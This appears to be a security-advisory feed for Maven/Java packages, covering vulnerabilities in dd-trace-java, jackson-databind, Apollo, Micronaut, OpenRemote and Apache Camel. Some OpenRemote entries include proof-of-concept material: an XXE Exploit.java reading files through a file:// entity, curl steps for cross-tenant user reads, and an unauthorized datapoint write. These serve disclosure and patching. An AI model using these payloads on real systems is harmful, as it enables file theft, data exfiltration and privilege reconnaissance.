Threats tagged 'maven'

dd-trace-java is a Datadog APM client for Java. Prior to 1.62.0, W3C baggage extraction does not enforce DD_TRACE_BAGGAGE_MAX_ITEMS, which defaults to 64, or DD_TRACE_BAGGAGE_MAX_BYTES, which defaults to 8192, although those limits apply during baggage injection. A remote unauthenticated attacker can send a baggage HTTP header containing many comma-separated key-value pairs or a single very large value. The extraction path allocates map entries while parsing the attacker-controlled header on every request, causing unbounded CPU and memory consumption in an HTTP service where the baggage propagation style is enabled, which is the default for most affected tracers. This can cause denial of service. This issue is fixed in version 1.62.0.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

Apollo ConfigService versions prior to 2.5.2 contain an improper input validation vulnerability that may allow unauthorized access to raw configuration data. The issue arises because requests to the /configfiles/raw/{appId}/{clusterName}/{namespace} endpoint are incorrectly parsed for authentication, causing the service to verify the wrong appId and potentially bypass signature verification. This vulnerability is fixed in version 2.5.2.

Apollo ConfigService versions prior to 2.5.2 have an improper input validation vulnerability that may allow unauthorized access to configuration data when AccessKey or management key authentication is enabled. The issue arises because ConfigService accepts non-canonical appId variants during authentication, which downstream request handling resolves to protected applications. This includes variants with accent-insensitive collations or trailing spaces on the /configs and /configfiles endpoints. The vulnerability is fixed in version 2.5.2.

Apollo Portal versions prior to 2.5.0 have a vulnerability where authenticated users can access configuration data of applications or namespaces they are not authorized to view if the 'configView.memberOnly.envs' setting is enabled. This occurs because the system does not verify application and namespace permissions when fetching release data by ID. The vulnerability allows unauthorized read access to potentially sensitive configuration information but does not permit modification or affect availability. The issue is fixed in version 2.5.0 by adding the missing permission checks.

### Impact > DefaultHttpClient follows redirects and forwards Authorization, Cookie, and Proxy-Authorization headers to redirect targets across domain boundaries. The blocklist only filters Host/Connection/TE/CT/CL. > Additionally, no maximum redirect count exists, enabling infinite loop DoS. > Affected: DefaultHttpClient.java lines 231-245, 1591, 2071 > Suggested fix: Strip sensitive headers on cross-domain redirects ### Patches It has been patched for versions: For Micronaut 5, versions equal or greater than 5.0.1 >= For Micronaut 4, versions equal or greater than 4.10.24 >= For Micronaut 3, versions equal or greater than 3.10.6 >= ### Workarounds No ### References Micronaut 5 Patch: https://github.com/micronaut-projects/micronaut-core/commit/9770328999f490bdfbb9e25addd45bf73d4a173a Micronaut 4 Patch: https://github.com/micronaut-projects/micronaut-core/commit/70cab4b44fbf985faba2846091f2356b5bd70719 Micronaut 3 Patch: https://github.com/micronaut-projects/micronaut-core/commit/64e539736b8168f201d868b02ace50fe14f57418

The Netty-based Micronaut HTTP Client does not impose a limit on HTTP redirections, potentially allowing an infinite redirect loop that could lead to a denial-of-service attack. ### Patches The following versions are patched: - For Micronaut 5, versions equal or greater than [5.0.1](https://github.com/micronaut-projects/micronaut-core/releases/v5.0.1) >= - For Micronaut 4, versions equal or greater than [4.10.24](https://github.com/micronaut-projects/micronaut-core/releases/v4.10.24) >= - For Micronaut 3, versions equal or greater than [3.10.7](https://github.com/micronaut-projects/micronaut-core/releases/v3.10.7) >= ### Workarounds No ### Resources Micronaut 5 Patch: https://github.com/micronaut-projects/micronaut-core/commit/6e88a972718d6e1521c5b3bb7766451798dba4e3 Micronaut 4 Patch: https://github.com/micronaut-projects/micronaut-core/commit/f1dffffec8fb5e3b7e94ae907ce0be3831e499d4 Micronaut 3 Patch: https://github.com/micronaut-projects/micronaut-core/commit/c06a2715ca7f78321bc3ca05f41cca78cd351320

An update for Red Hat Build of Apache Camel 4.18 for Quarkus 3.33 update is now available (RHBQ 3.33.2.SP2). The purpose of this text-only errata is to inform you about the enhancements that improve your developer experience and ensure the security and stability of your products: * jackson-databind: Jackson-databind: Security bypass allows arbitrary code execution [rhboac-camel-quarkus-3] (CVE-2026-54513) * jackson-databind: jackson-databind: Arbitrary code execution via PolymorphicTypeValidator bypass [rhboac-camel-quarkus-3] (CVE-2026-54512) * micrometer-core: Micrometer: Denial of Service via specially crafted gRPC requests [rhboac-camel-quarkus-3] (CVE-2026-40983) * micrometer-core: Micrometer: Denial of Service via specially crafted HTTP requests [rhboac-camel-quarkus-3] (CVE-2026-40984) * cxf-core: Apache CXF: Information disclosure via out-of-band external entity resolution due to missing JAXP hardening [rhboac-camel-quarkus-3] (CVE-2026-49875)

## Summary The datapoint export API builds a PostgreSQL crosstab export query by concatenating asset display names into raw SQL. An authenticated user who can create or rename an asset and then request a crosstab datapoint export can inject SQL through the asset name. The injected query output is streamed back to the caller inside the normal ZIP/CSV export response. This creates a practical database exfiltration primitive through the application API. In a multi-tenant deployment, this can expose data outside the attacker's tenant if the application database role can read shared manager tables. ## Affected Component - Datapoint export endpoint for asset datapoints. - Crosstab export formats, specifically CSV crosstab-style exports. - Query builder path that constructs a `COPY (SELECT ... FROM crosstab(...)) TO STDOUT` statement. ## Security Impact Impact is high. A remote authenticated attacker with asset read/write capabilities can: - Store SQL syntax inside an asset name. - Trigger the crosstab export path for that asset. - Cause the backend to execute attacker-influenced SQL through the PostgreSQL connection used by the manager service. - Receive injected `SELECT` results in the exported CSV contained in the ZIP response. The demonstrated impact is database data exfiltration. The proof of concept safely retrieved database execution context and an aggregate table count. A real attacker could adapt the injected `SELECT` to read other database tables accessible to the application database role. This is especially sensitive in multi-tenant deployments because application tables commonly contain data for multiple realms/tenants in the same database. ## Attack Preconditions The attacker needs: - A valid authenticated session. - Permission to create or rename at least one asset. - Permission to read/export datapoints for at least one attribute on that asset. - Access to a crosstab datapoint export format. No direct database access is required. No server filesystem access is required. No token forgery is required. ## Technical Details The export implementation derives a crosstab header from the asset name and attribute name. It then embeds that header into two SQL contexts: 1. A PostgreSQL double-quoted column identifier: ```sql "<asset name> : <attribute name>" text ``` 2. A category query passed to `crosstab(...)`, wrapped in a fixed dollar-quoted delimiter: ```sql $cat$ SELECT header FROM (VALUES ('<asset name> : <attribute name>')) AS t(header) $cat$ ``` The current escaping is incomplete: - Single quotes are escaped in one string-literal context. - Double quotes in asset names are not escaped before being placed inside quoted identifiers. - The fixed dollar-quote delimiter is not protected against an asset name containing the delimiter token. As a result, an attacker-controlled asset name can break out of the intended SQL grammar boundary and append SQL to the generated `COPY ... TO STDOUT` query. Because the backend streams `COPY` output into the export response, injected query rows are returned to the attacker as CSV. ## Example Exploit Flow 1. Authenticate normally. 2. Create or rename an asset using a name containing SQL metacharacters that closes the crosstab column definition. 3. Ensure the asset has an exportable datapoint attribute. 4. Write at least one datapoint value for that attribute, if necessary. 5. Request a CSV crosstab datapoint export for the crafted asset attribute. 6. Inspect the returned ZIP/CSV. The CSV contains both normal datapoint rows and rows produced by the injected SQL. A safe proof query demonstrated exfiltration of: - `current_user` - `current_database()` - `count(*)` from an application table The returned CSV contained a row equivalent to: ```text <timestamp>,<database_user>:<database_name>:<table_count> ``` ## Root Cause The root cause is manual SQL string construction using user-controlled display data as SQL syntax. The asset name is treated as presentation data in the application model, but later reused as part of executable SQL: - As an SQL identifier in the crosstab output column list. - As a value inside a category query string passed to PostgreSQL. These contexts require different escaping rules. Applying partial string escaping is error-prone and currently misses exploitable grammar boundaries. ## Recommended Fix Avoid embedding user-controlled asset names directly into executable SQL. Recommended options: 1. Do not use asset names as SQL identifiers. - Generate deterministic internal column aliases such as `c1`, `c2`, `c3`. - Keep the user-facing asset/attribute labels outside SQL and apply them only when serializing CSV headers. 2. If dynamic identifiers are unavoidable, quote them using a database-aware identifier quoting function. - For PostgreSQL identifiers, double embedded `"` characters. - Do not perform ad hoc quoting with string concatenation. 3. Avoid fixed dollar-quote delimiters around attacker-influence

### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem

### Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin. ### Details The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java. Three methods are missing an authenticated-realm guard: get (line 102): public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... } The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter. getUserClientRoles (line 294): public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... } getUserRealmRoles (line 313): public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... } By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths. The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD. ### PoC Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId. Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin). Step 2. Obtain an access token for the tenantb admin: TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response from the live test instance (commit 22a42a7, 2026-06-04): {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200 Step 4. Read master-admin realm roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response: ["admin"] HTTP 200 Step 5. Read master-admin client roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote" Observed response: ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules

# Summary The predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. The endpoint: ```text PUT /api/{realm}/asset/predicted/{assetId}/{attributeName} ``` accepts write requests from users lacking `write:assets`. The implementation appears to check `READ_ASSETS` while performing a write operation through: ```java assetPredictedDatapointService.updateValues(...) ``` # PoC A user was created with only: ```text read:assets ``` and without `write:assets`. The following request succeeded: ```http PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature ``` Request body: ```json [{"x":1779199999001,"y":1337}] ``` Response: ```text HTTP/2 204 ``` Database verification confirmed the datapoint was written successfully: ```text entity_id: 4Fr8Pcp7iDjrEmoSUFolvT attribute_name: temperature value: 1337 ``` # Impact Users with read-only asset permissions can modify predicted datapoints for assets.

Improper Input Validation vulnerability in Apache Camel. This issue affects Apache Camel: from 4.8.0 through 4.18.2, from 4.19.0 through 4.20.0. Users are recommended to upgrade to version 4.18.3, 4.21.0, which fixes the issue.

Improper Input Validation vulnerability in Apache Camel. This issue affects Apache Camel: through 4.14.7, from 4.15.0 through 4.18.2, from 4.19.0 through 4.20.0. Users are recommended to upgrade to version 4.14.8, 4.18.3, 4.21.0, which fixes the issue.

Improper Input Validation vulnerability in Apache Camel. This issue affects Apache Camel: through 4.14.7, from 4.15.0 through 4.18.2, from 4.19.0 through 4.20.0. Users are recommended to upgrade to version 4.14.8, 4.18.3, 4.21.0, which fixes the issue.

Generation of Error Message Containing Sensitive Information vulnerability in Apache Camel Undertow Component. The camel-undertow HTTP server consumer exposes a muteException option that controls what is returned to the client when a route processing error occurs. This option defaulted to false, whereas the other Camel HTTP server components (camel-http / camel-jetty / camel-servlet and camel-platform-http) default it to true. With muteException=false, when a request triggers an exception during route processing the consumer writes the full Throwable stack trace into the HTTP response body as text/plain instead of returning an empty body. Any unauthenticated client that can reach the endpoint and cause a processing error - for example by sending a malformed request body, an invalid parameter, or otherwise triggering a route-internal failure - therefore receives a complete Java stack trace. Such a stack trace can disclose sensitive internal information, including credentials embedded in exception messages, internal host names and IP addresses, filesystem paths, dependency and version details, database and class names, and the application's internal structure, which an attacker can use to plan further attacks. In addition, for Rest DSL consumers the muteException option was not honoured at all: the RestUndertowHttpBinding was created with a hard-coded false, so the stack trace was returned even when muteException=true had been configured. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, set muteException=true explicitly on the camel-undertow consumer (for example undertow: http://0.0.0.0:8080/api?muteException=true , or globally via the camel.component.undertow.mute-exception=true property), so that processing errors no longer return the stack trace to the client; note that on affected releases this workaround does not cover Rest DSL consumers, whose binding ignores the option until the fix is applied.

Improper Input Validation, Exposure of Sensitive Information to an Unauthorized Actor, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel in Iggy component. The camel-iggy consumer mapped the user-headers of inbound Iggy messages into the Camel Exchange header map without applying any HeaderFilterStrategy (IggyFetchRecords copied the message user-headers straight into the Exchange). Because nothing blocked the Camel header namespace, an actor able to publish to the consumed Iggy stream/topic could set Camel-internal control headers - including CamelHttpUri (Exchange.HTTP_URI) - simply by supplying them as message user-headers. In a route where the Iggy consumer feeds a downstream HTTP producer, the injected CamelHttpUri redirects the server-side HTTP request to an attacker-chosen destination (server-side request forgery - for example to an internal service or a cloud metadata endpoint). In addition, the HTTP producer resolves Camel property placeholders on the resulting (attacker-controlled) URI, so placeholders embedded in the injected value - such as an environment-variable reference, an application property, or a vault reference - are resolved to their real values and sent to the attacker, disclosing environment variables, application properties and vault secrets. This issue affects Apache Camel: from 4.17.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix adds a dedicated IggyHeaderFilterStrategy (and a headerFilterStrategy endpoint option) that filters the Camel header namespace case-insensitively on inbound mapping, so externally-supplied Camel* / camel* headers are no longer copied into the Exchange. For deployments that cannot upgrade immediately, strip the Camel control headers from the inbound message before they reach any downstream producer (for example removeHeaders('Camel*') and removeHeaders('camel*') at the start of the route), restrict who can publish to the consumed Iggy stream/topic, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI can be driven from message headers.

Improper Input Validation, Exposure of Sensitive Information to an Unauthorized Actor, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel in Atmosphere Websocket Component. The camel-atmosphere-websocket consumer mapped inbound WebSocket query parameters into the Camel Exchange header map without applying any HeaderFilterStrategy (WebsocketConsumer.sendEventNotification() iterates the query-string map collected in WebsocketConsumer.service() and copies each entry into the Exchange). Because nothing blocked the Camel header namespace, a client connecting to the WebSocket endpoint could set Camel-internal control headers - including CamelHttpUri (Exchange.HTTP_URI) - simply by supplying them as query parameters. In a route where the WebSocket consumer feeds a downstream HTTP producer, the injected CamelHttpUri redirects the server-side HTTP request to an attacker-chosen destination (server-side request forgery - for example to an internal service or a cloud metadata endpoint). In addition, the HTTP producer resolves Camel property placeholders on the resulting (attacker-controlled) URI, so placeholders embedded in the injected value - such as an environment-variable reference, an application property, or a vault reference - are resolved to their real values and sent to the attacker, disclosing environment variables, application properties and vault secrets. When the WebSocket endpoint is exposed without authentication, this is reachable by an unauthenticated remote attacker. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix makes the consumer apply the HeaderFilterStrategy it already inherits from the HTTP/servlet stack, filtering the Camel header namespace case-insensitively on inbound mapping, so externally-supplied Camel* / camel* headers are no longer copied into the Exchange. For deployments that cannot upgrade immediately, strip the Camel control headers from the inbound message before they reach any downstream producer (for example removeHeaders('Camel*') and removeHeaders('camel*') at the start of the route), require authentication on the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI can be driven from message headers.

Generation of Error Message Containing Sensitive Information vulnerability in Apache Camel Netty HTTP component. The camel-netty-http HTTP server consumer exposes a muteException option that controls what is returned to the client when a route processing error occurs. This option defaulted to false because the backing field was an uninitialised primitive boolean (Java's default of false), whereas the other Camel HTTP server components (camel-http / camel-jetty / camel-servlet and camel-platform-http) default it to true. With muteException=false, when a request triggers an exception during route processing the consumer writes the full Throwable stack trace into the HTTP response body as text/plain (via DefaultNettyHttpBinding) instead of returning an empty body. Any unauthenticated client that can reach the endpoint and cause a processing error - for example by sending a malformed request body, an invalid parameter, or otherwise triggering a route-internal failure - therefore receives a complete Java stack trace. Such a stack trace can disclose sensitive internal information, including credentials embedded in exception messages, internal host names and IP addresses, filesystem paths, dependency and version details, database and class names, and the application's internal structure, which an attacker can use to plan further attacks. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, set muteException=true explicitly on the camel-netty-http consumer (for example netty-http: http://0.0.0.0:8080/api?muteException=true , or globally via the camel.component.netty-http.configuration.mute-exception=true property), so that processing errors no longer return the stack trace to the client.

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), Authorization Bypass Through User-Controlled Key vulnerability in Apache Camel Salesforce Component. The camel-salesforce producer resolves its operation parameters - the SOQL query, the SOSL search, the target SObject name and id, the Apex REST URL and method, and the Apex query parameters - from Exchange message headers, reading the header in preference to the value configured on the endpoint (AbstractSalesforceProcessor.getParameter() reads the header first and uses the endpoint configuration only as a fallback). The control-header constants in SalesforceEndpointConfig (for example SOBJECT_QUERY = sObjectQuery, SOBJECT_SEARCH = sObjectSearch, SOBJECT_NAME = sObjectName, SOBJECT_ID = sObjectId, APEX_URL = apexUrl, APEX_METHOD = apexMethod, and the apexQueryParam. prefix) used plain, non-Camel-prefixed values. Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy - which blocks only the Camel header namespace on the HTTP boundary - let them pass from an inbound HTTP request straight into the Exchange. In a route that bridges an HTTP consumer (for example platform-http) into a salesforce: producer, any HTTP client could therefore set these headers and override what the route intended - supplying its own SOQL query or SOSL search to read data from any SObject the connected Salesforce user can access, overriding the target SObject name and id for CRUD operations, or redirecting an Apex REST call to a different endpoint and HTTP method (including destructive methods) with injected query parameters. All such operations run with the full permissions of the Salesforce connected (integration) user, which is typically broad. No credentials are required from the attacker when the bridging consumer is unauthenticated. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. After upgrading, routes that set Salesforce operation parameters via the raw header names must use the CamelSalesforce* names (for example CamelSalesforceSObjectQuery and CamelSalesforceApexUrl) instead of the old sObject* / apex* values; the endpoint-option spelling is unchanged. For deployments that cannot upgrade immediately, strip the Salesforce control headers from any untrusted ingress before the salesforce: producer (for example removeHeaders('sObject*') and removeHeaders('apex*') at the start of the route), and set the query, SObject and Apex parameters from a trusted source.